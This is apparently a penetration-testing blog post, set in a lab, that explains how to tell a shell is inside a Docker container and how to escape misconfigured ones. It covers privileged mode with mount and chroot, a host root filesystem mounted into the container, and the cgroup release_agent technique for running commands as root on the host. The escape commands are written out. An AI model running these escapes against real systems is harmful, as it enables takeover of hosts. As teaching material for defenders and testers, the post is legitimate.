We've spoken about Docker several times now, but today I'd like to address the idea of breaking out of those containers. By breaking out, I mean being able to run commands and even take control of the underlying host system. There are a few ways we can do this but at the end of the day, they mostly come down to user misconfiguration.
Lab Setup
Before I get started, let me tell you about the lab setup. I'm running Ubuntu 16.04.6 LTS [Xenial Xerus] as the host with Docker installed.

Then I have a container set up with sudo docker pull debian
which will grab the latest version by default.

Am I in a container?
Step one in this process is being able to discover that you're inside a container. First off, since it is just a lab set up, I'll attach to the deb container I created. In reality, you would have to compromise whatever service the container is running or otherwise gain access to it. Running sudo docker attach deb
will get us to a command line inside the container. But since we are simulating a compromised host, we need to find out if we're running in a container or not. One quick way is to check cgroup
by running cat /proc/1/cgroup
. Take a look at the screenshot below and you'll see that when we run it inside the container (left), we see /docker/
. On the host (right) we don't.

Another quick way is to just run ls -la
from the root directory and see if .dockerenv
is there.

Bad configurations
As I mentioned at the top of the post, most of the breakout methods come down to the user misconfiguring the container. Let's explore a few examples:
--privileged
The --privileged
flag allows the container to have access to the host devices. When we run a container without the flag, we can run fdisk -l
and see that nothing is there.

Now starting the container with sudo docker run -ti --privileged debian
and we'll be dropped into an interactive shell for the container.

Running fdisk -l
again and we can see the host's drive.

Ok, so we can see it but we want to control it. We can work towards that by first mounting the drive with two commands:
mkdir /mnt/host
mount /dev/sda1 /mnt/host/
Self-explanatory, but this will create a directory for us to mount the host drive to and then mount it.

As you can see, we now have access to the host filesystem where we can see the victim users home directory. But again, we want to be able to run commands on the host. So to start, we should check out the container's /bin/
directory:

And the sbin
directory:

And finally the /usr/
directory, which contains usr/bin/
and /usr/sbin/
:

You'll notice we're kind of limited... However, there is one command staring right at us that makes this whole thing trivial: chroot
. We just need to run the below command and we have full system access!

Mounted Filesystem
Ok, so another example of (really) poor configuration is mounting the host filesystem inside the container. A legitimate reason to do this might be to easily share a specific directory between the host and the container. But if, for example, you were to mount the host's /
to the container's /tmp/
..

We now have the entirety of the host system accessible from within the container. Of course once again we only have access to the files and don't have command execution. What's next? Spoiler: the same method as above! Simply chroot /tmp/
.

SYS_ADMIN and AppArmor
Yet another escape involves using the --cap-add=SYS_ADMIN
and --security-opt apparmor=unconfirmed
flags when launching the container. The significance of these flags is allowing us to use mount
. Since even with SYS_ADMIN on, the default apparmor policy would prevent us from using it. So our container launch command would be something like sudo docker run -ti --cap-add=SYS_ADMIN --security-opt apparmor=unconfined debian
.

Now that we're up and running, we're going to use cgroups . From Wikipedia, "cgroups (abbreviated from control groups) is a Linux kernel feature that limits, accounts for, and isolates the resource usage (CPU, memory, disk I/O, network, etc.) of a collection of processes." Essentially, cgroups are one way that Docker isolates containers. What we can do is utilize the notify_on_release
feature in cgroups to run commands as root on the host. You see, "when the last task in a cgroup leaves (by exiting or attaching to another cgroup), a command supplied in the release_agent file is executed." The intended use for this is to help prune abandoned cgroups. This command, when invoked, is run as a fully privileged root on the host."
Ok, so let's exploit this. We first need to once again create a directory to mount to. We can run mkdir /mnt/tmp
. Then we will want to mount our cgroup with mount -t cgroup -o rdma cgroup /mnt/tmp
. The -t
limits the set of filesystem types and the -o
allows us to set options.

Next, we want to create a child cgroup (to kill). We'll call it /kid/
. Inside that child directory, we can see all our cgroup files are created.

So we can see we have notify_on_release
, which is set to 0
by default. We can change that to 1 using echo 1 > notify_on_release
.

Next we want to get our host path. This is because "the files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host." So we'll input this command to grab the proper path:
host_path=`
sed
-n
's/.*\perdir=\([^,]*\).*/\1/p'
/etc/mtab
`

With that path, we can append /cmd
and add it to the release_agent
file in the parent cgroup directory.

Then we need to create our cmd
script. We can run the below to have it run ps aux
and put the results into an output
file. Note that here we are appending /output
instead of /cmd
to the host path.

Then we run the below to create a process inside the child directory which will immediately end and kick off our script. We run a command that will run /bin/sh
and write the PID into the /kid/cgroups.procs
file. The script (/cmd
) will execute once the /bin/sh
exits. ps aux
will run on the host and be saved to the /output
file inside the container.

And there we have it! We successfully executed a command on the host from within a container. The /cmd
script could be edited to run anything you want.
Conclusion
First off, thanks for sticking with me through this journey. We covered a few ways to break out of a container but all of them really come down to bad configurations of the containers. But we all know that would never happen in the real world. I hope this helps you out on an engagement in an environment utilizing containers!
Sources and Inspiration:
- https://security.stackexchange.com/questions/152978/is-it-possible-to-escalate-privileges-and-escaping-from-a-docker-container
- https://stackoverflow.com/questions/20010199/how-to-determine-if-a-process-runs-inside-lxc-docker
- https://medium.com/lucjuggery/docker-tips-mind-the-privileged-flag-d6e2ae71bdb4
- http://obrown.io/2016/02/15/privileged-containers.html
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- https://en.wikipedia.org/wiki/Cgroups